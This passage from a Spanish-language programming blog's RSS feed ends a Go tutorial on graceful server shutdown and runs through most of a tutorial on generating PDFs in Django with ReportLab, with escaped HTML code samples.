style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;-&lt;/span&gt;quit&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Cerrando el servidor:&amp;#34;&lt;/span&gt;, s)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;os.&lt;span style=&#34;color:#57c7ff&#34;&gt;Exit&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;main&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;pid &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; os.&lt;span style=&#34;color:#57c7ff&#34;&gt;Getpid&lt;/span&gt;() &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Empezando el servidor. Pid:&amp;#34;&lt;/span&gt;, pid)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#ff6ac1&#34;&gt;go&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;gracefulShutdown&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;http.&lt;span style=&#34;color:#57c7ff&#34;&gt;HandleFunc&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/&amp;#34;&lt;/span&gt;, getRoot)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; err &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; http.&lt;span style=&#34;color:#57c7ff&#34;&gt;ListenAndServe&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;:8000&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#ff6ac1&#34;&gt;nil&lt;/span&gt;); err &lt;span style=&#34;color:#ff6ac1&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;nil&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;log.&lt;span style=&#34;color:#57c7ff&#34;&gt;Fatalf&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;El servidor fallo al iniciar. Error: %v&amp;#34;&lt;/span&gt;, err.&lt;span style=&#34;color:#57c7ff&#34;&gt;Error&lt;/span&gt;())&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Tras ejecutarlo, intenta cancelar la aplicación con CTRL + C o con la terminal con el comando kill, y observa como se imprime el mensaje y se finaliza la aplicación de una manera más ordenada y controlada.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;go run main.go&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;CTRL + C&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Empezando el servidor. Pid: &lt;span style=&#34;color:#ff9f43&#34;&gt;8830&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Cerrando el servidor: interrupt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content:encoded>
      <summary>&lt;p&gt;Hoy voy a hablar de un tema que suele pasarse por alto en la mayoría de los tutoriales: el manejo del cierre de aplicaciones. ¿A qué me refiero? A esas veces en las que tienes que cerrar una aplicación, pero pueden existir tareas pendientes en ejecución, conexiones abiertas o simplemente quieres dejar un registro, en forma de un log, de que la aplicación fue cerrada.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &lt;span&gt;&lt;img width=&#34;60&#34; height=&#34;60&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1717959563/Go_gopher_favicon_uzxa20.svg&#34; alt=&#34;&#34;&gt;&lt;/span&gt;&#xA;    &lt;a target=&#34;_blank&#34; rel=”nofollow” href=&#34;https://coffeebytes.dev/es/pages/go-programming-language-tutorial/&#34;&gt;&#xA;    ¡Hola! ¿Ya sabes que tengo un tutorial completo del lenguaje de programación Go completamente gratis?, puedes encontrarlo directamente en la barra del menú superior o haciendo clic en este panel&lt;/a&gt;&#xA;&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Tutorial Generación de PDFs con Django y Reportlab</title>
      <link>https://coffeebytes.dev/es/django/generar-pdfs-con-django-y-reportlab/</link>
      <pubDate>Thu, 22 Sep 2022 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/django/generar-pdfs-con-django-y-reportlab/</guid>
      
      <category>django</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Con django y reportlab podemos generar PDFs de manera dinámica, usando información de nuestra base de datos, input del usuario o cualquier otra lógica de negocio que deseemos.&lt;/p&gt;&#xA;&lt;h2 id=&#34;instalacion-de-reportlab&#34;&gt;Instalación de reportlab&lt;/h2&gt;&#xA;&lt;p&gt;Lo primero será instalar reportlab, podemos usar pip, pipenv o cualquier otro gestor de paquetes que quieras.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install reportlab&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# pip install reportlab&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;definir-tipo-de-respuesta-pdf-en-django&#34;&gt;Definir tipo de respuesta PDF en Django&lt;/h2&gt;&#xA;&lt;p&gt;Una vez instalado vamos, las primeras lineas que escribiremos serán para asegurarnos de que el navegador sepa que le devolveremos un pdf, lo haremos por medio de una cabecera HTTP, la cabecera Content-Type, por medio de la variable &lt;em&gt;content_type&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Posteriormente le diremos que lo abra como un archivo adjunto, en una nueva ventana. Te mostraré como va quedando paso a paso, por razones didácticas, pero &lt;strong&gt;necesitas guardar en el objeto response el pdf antes de poder verlo en tu pantalla&lt;/strong&gt;, lo haré un poco más adelante.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; reportlab.pdfgen &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; canvas&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.http &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; HttpResponse&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;pdfVideogame&lt;/span&gt;(request):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    response &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; HttpResponse(content_type&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;application/pdf&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    response[&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Content-Disposition&amp;#34;&lt;/span&gt;] &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;attachment; filename=&amp;#34;hello.pdf&amp;#34;&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;crear-un-pdf-con-texto-en-django&#34;&gt;Crear un PDF con texto en Django&lt;/h2&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Para empezar vamos a crear un lienzo o canvas para escribir en él.&lt;/p&gt;&#xA;&lt;p&gt;Esta librería funciona como si fueramos pintores, solo podemos tener activo un pincel, cada pincelada diferente (tipo de letra, tamaño de letra o color) requiere que cambiemos de pincel (establecer otro tamaño de texto, fuente o color)&lt;/p&gt;&#xA;&lt;p&gt;Como ya sabes, lo primero que necesita un pintor es un lienzo, para esto viene perfecto el método Canvas.&lt;/p&gt;&#xA;&lt;p&gt;Posteriormente, tal cual si escogieramos un pincel, vamos a elegir nuestro tipo de letra y tamaño.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;pdfVideogame&lt;/span&gt;(request):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; canvas&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Canvas(response)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;setFont(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Courier&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;28&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora vamos a usar ese tipo de letra para &amp;ldquo;dibujar&amp;rdquo; un string en la posición 0 y 0.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;pdfVideogame&lt;/span&gt;(request):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;drawString(&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Hola mundo&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/generating-pdfs-with-django-and-reportlab/images/texto-fondo-pdf.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/generating-pdfs-with-django-and-reportlab/images/texto-fondo-pdf.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Texto generado con reportlab&#34; width=&#34;1261&#34; height=&#34;968&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Texto creado con reportlab&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Esto dibujará nuestro string&amp;hellip; en el fondo de la pantalla.&lt;/p&gt;&#xA;&lt;p&gt;¿Por qué en el fondo? Puedes pensar que canvas trabaja con un plano cartesiano, le acabamos de decir a reportlab que dibuje el string en las coordenadas 0,0 del plano.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/generating-pdfs-with-django-and-reportlab/images/coordenadas-pdf.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/generating-pdfs-with-django-and-reportlab/images/coordenadas-pdf.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Pdf pensado como un plano cartesiano&#34; width=&#34;618&#34; height=&#34;568&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Reportlab se comporta como un plano cartesiano&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;posicionando-el-texto-en-un-pdf-de-django&#34;&gt;Posicionando el texto en un PDF de Django&lt;/h3&gt;&#xA;&lt;p&gt;Ahora que sabemos que el primer argumento es el valor de separación del eje de las X, mientras que el segundo es la separación del eje de las Y, intentaremos algo más natural.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;pdfVideogame&lt;/span&gt;(request):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;drawString(&lt;span style=&#34;color:#ff9f43&#34;&gt;60&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;750&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Hola mundo&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/generating-pdfs-with-django-and-reportlab/images/texto-posicionado-pdf.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/generating-pdfs-with-django-and-reportlab/images/texto-posicionado-pdf.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Texto posicionado en un pdf&#34; width=&#34;1468&#34; height=&#34;951&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Texto posicionado de acuerdo a los ejes X y Y en reportlab&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;cambiar-color-de-letra-en-el-pdf&#34;&gt;Cambiar color de letra en el PDF&lt;/h3&gt;&#xA;&lt;p&gt;Para cambiar el color de letra usamos el método setFillColorRGB. Necesitamos llamar este método antes de que reportlab pinte nuestro string, de otra manera usará el que esté activo.&lt;/p&gt;&#xA;&lt;p&gt;Le pasamos el valor RGB (Un flotante de 0 a 1) que querramos que tenga nuestro texto.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;pdfVideogame&lt;/span&gt;(request):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;setFillColorRGB(&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;,&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;,&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;drawString(&lt;span style=&#34;color:#ff9f43&#34;&gt;60&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;750&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Hola mundo&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/generating-pdfs-with-django-and-reportlab/images/text-color-pdf.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/generating-pdfs-with-django-and-reportlab/images/text-color-pdf.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Texto a color en pdf&#34; width=&#34;1352&#34; height=&#34;409&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Texto en color azul claro&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Ya tenemos un texto simple, vamos a guardar el contenido que generamos y a retornarlo como respuesta.&lt;/p&gt;&#xA;&lt;h2 id=&#34;retornarlo-un-pdf-como-respuesta-en-django&#34;&gt;Retornarlo un PDF como respuesta en Django&lt;/h2&gt;&#xA;&lt;p&gt;Nuestra instancia del objeto canvas recibió nuestro objeto response como argumento, por lo que los cambios que acabamos de hacer se guardaron en el objeto response.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;pdfVideogame&lt;/span&gt;(request):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;showPage()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;save()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; response&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Recuerda que, como estamos en django, deberemos agregar tu vista a las urls.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; .views &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; pdfVideogame&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;urlpatterns &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    path(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;pdf&amp;#34;&lt;/span&gt;, pdfVideogame, name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;pdfVideogame&amp;#34;&lt;/span&gt;),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;generar-pdfs-de-manera-dinamica-con-django&#34;&gt;Generar PDFs de manera dinámica con Django&lt;/h2&gt;&#xA;&lt;p&gt;Sabiendo lo anterior, seremos capaces de crear un PDF de manera directa iterando sobre una consulta a la base de datos usando el ORM de django.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;pdfVideogame&lt;/span&gt;(request):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;#...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;setFont(&lt;span 